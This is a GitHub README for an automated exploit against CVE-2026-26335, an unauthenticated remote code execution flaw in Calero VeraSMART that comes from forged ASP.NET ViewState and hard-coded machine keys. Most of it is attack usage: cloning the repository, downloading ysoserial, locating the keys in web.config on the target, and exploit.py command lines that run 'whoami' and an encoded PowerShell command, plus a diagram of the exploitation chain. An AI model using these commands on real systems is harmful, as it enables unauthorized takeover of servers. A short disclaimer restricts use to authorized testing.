mbanyamer/cve-2026-26335-calero-verasmart-rceAutomated exploit for CVE-2026-26335, a critical unauthenticated RCE in Calero VeraSMART via forged ASP.NET ViewState using static machine keys. Includes endpoint discovery, payload generation, and command execution.
Mohammed Idrees Banyamer Security Researcher
CVE‑2026‑26335 is a critical unauthenticated remote code execution vulnerability in Calero VeraSMART (pre‑2022 R1).
The application uses static hard‑coded ASP.NET machine keys shared across installations.
An attacker with these keys can forge a malicious ASP.NET ViewState and trigger server‑side deserialization → RCE.
This exploit automates:
__VIEWSTATEGENERATOR extractionCWE‑321 — Hard‑coded cryptographic keys
VeraSMART deployments reuse identical ASP.NET machineKey:
<machineKey validationKey="STATIC_KEY"
decryptionKey="STATIC_KEY"
validation="SHA1"
decryption="AES" />
Any attacker with keys from one installation can attack all.
git clone https://github.com/mbanyamer/CVE-2026-26335-VeraSMART-RCE.git
cd CVE-2026-26335-VeraSMART-RCE
wget https://github.com/pwntester/ysoserial.net/releases/latest/download/ysoserial.exe
Keys are not public. Obtain from target:
C:\Program Files (x86)\Veramark\VeraSMART\WebRoot\web.config
Or via companion file‑read:
CVE‑2026‑26333
python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY --check-only -v
python3 exploit.py -t https://target-ip -vk VALIDATION_KEY -dk DECRYPTION_KEY -c "whoami"
python3 exploit.py -t https://target-ip -vk KEY -dk KEY -e /Login.aspx -c "powershell -enc ZQBjAGgAbwAgAEgAYQBjAGsAZQBkAA=="
python3 exploit.py -t https://target-ip -vk KEY -dk KEY --proxy http://127.0.0.1:8080 -v
9.8 — Critical AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fixed in VeraSMART 2022 R1:
Workarounds:
Educational and authorized testing only. Use only on systems you own or have permission to assess.
Mohammed Idrees Banyamer Security Researcher
The following diagram illustrates the exploitation chain of CVE‑2026‑26335 in Calero VeraSMART, where static ASP.NET machine keys allow forging a malicious ViewState leading to remote code execution.
flowchart LR
A[Attacker] --> B[Obtain VeraSMART machineKey]
B --> C[Discover ViewState endpoint]
C --> D[Extract __VIEWSTATEGENERATOR]
D --> E[Generate malicious ViewState via ysoserial]
E --> F[Sign payload with machineKey]
F --> G[Send forged POST request]
G --> H[ASP.NET ViewState deserialization]
H --> I[TypeConfuseDelegate gadget]
I --> J[Remote Code Execution on IIS]